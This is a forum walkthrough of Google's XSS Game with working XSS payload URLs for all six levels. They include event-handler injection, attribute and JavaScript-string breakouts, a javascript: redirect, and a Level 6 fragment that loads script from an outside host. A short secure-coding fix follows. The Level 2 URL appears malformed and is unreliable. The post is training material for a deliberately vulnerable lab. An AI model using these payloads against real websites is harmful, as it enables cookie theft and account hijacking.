- by x32x01 ||
In this article, you’ll find a complete breakdown of all six levels, rewritten in a human-like, friendly American style, with hands-on explanations and code included. Whether you're a beginner or already familiar with XSS attacks, this guide will help you fully understand why each solution works - not just how to copy and paste it.
Let’s dive right in.
What Is an XSS Vulnerability?
Before jumping into the challenge, you need a clear idea of what XSS actually is.Cross-Site Scripting (XSS) is a web vulnerability that happens when a website fails to properly sanitize user input, allowing attackers to inject and execute JavaScript inside a victim’s browser.
Example of a vulnerable XSS payload:
Code:
<script>alert("XSS")</script> - Steal session cookies
- Hijack accounts
- Redirect users
- Inject malicious forms
- Execute actions on behalf of the user
Why the Google XSS Challenge Is Awesome
Google created this challenge to help users learn:- How to detect insecure input handling
- How different HTML contexts affect XSS
- How to escape attributes, tags, and JavaScript safely
- How URL fragments, query parameters, and event handlers affect security
- How real websites accidentally allow XSS
Level 1 - Hello, World of XSS
This is the warm-up level. The page takes input from the query parameter and echoes it directly into the HTML without any sanitation.
Solution:
Code:
https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>
Why This Works:
Because the value of query is placed inside the page as raw HTML. No escaping, no filtering - boom, instant XSS. This teaches you the simplest form of reflected XSS.
Level 2 - Persistence Is Key
In this level, the challenge focuses on using event handlers to trigger JavaScript. Instead of injecting a <script> tag, you use an HTML element that contains JavaScript inside an event attribute.
Solution:
Code:
https://xss-game.appspot.com/level2/framepost-content=<img src='foobar' onerror='alert("xss")'>
Why It Works:
- The browser tries to load "foobar" as an image
- It fails
- The onerror event fires
- The alert appears
Level 3 - That Sinking Feeling...
Here, the user input is injected inside an HTML attribute. The goal is to break out of the attribute safely and inject your own script.
Solution:
Code:
https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>
Why This Works:
This payload:- Breaks out of the HTML attribute
- Inserts a closing tag
- Injects a new <script> element
- Executes it
Level 4 - Context Matters
Now you're dealing with JavaScript context. The input is placed inside a JavaScript function. You must escape the string safely and inject your own code.
Solution:
Code:
https://xss-game.appspot.com/level4/frame?timer=1')%3Balert('1
Why It Works:
The payload:- Closes the existing JS string
- Closes the JS function
- Injects a custom alert(1) call
Level 5 - Breaking Protocol
This level explores how URLs can be abused when developers fail to validate protocols correctly.
Solution:
Code:
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Why It Works:
Because the page redirects to whatever URL you place in next.If the app doesn't restrict the protocol, you can replace:
https://example.com/...with
javascript:alert(1)That’s a full JavaScript-based URL injection.
Level 6 - Follow the X
This is the toughest level. The app loads JavaScript from a URL fragment (#), which is normally ignored by servers but can be used in insecure client-side code.
Solution:
Code:
https://xss-game.appspot.com/level6/frame#HTTPS://dj-infosec.divshot.io/content.js
Why This Works:
The page loads the JavaScript file from the URL fragment and executes it.This means an attacker can host malicious JavaScript on another site and load it directly.
This is a form of DOM-based XSS, which is the most dangerous type because it isn’t visible to the server.
Bonus: Writing Secure Code to Prevent XSS
To secure your applications, always filter and escape user input.
Vulnerable code:
PHP:
echo $_GET['name'];
Safe code:
PHP:
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
Why This Matters:
Using htmlspecialchars() converts characters like < > " ' into harmless text that can’t run JavaScript.
Professional Tips for Learning XSS
- Train with tools like Burp Suite, OWASP ZAP, and HackTheBox
- Understand Reflected, Stored, and DOM-based XSS
- Test user inputs in forms, URL parameters, headers, and cookies
- Study browser behavior, especially with event handlers
- Follow secure-coding practices in JavaScript, PHP, Python, Node.js, etc.
Final Thoughts
The Google XSS Challenge is a fantastic learning tool that forces you to experiment, break things, think creatively, and understand how attackers find vulnerabilities in real websites.Each level teaches a different lesson - from HTML injection, to attribute escaping, to protocol abuse, to DOM-based XSS.
If you master these six levels, you’re far ahead of most beginners and well on your way toward becoming a professional penetration tester or web security expert.
Last edited: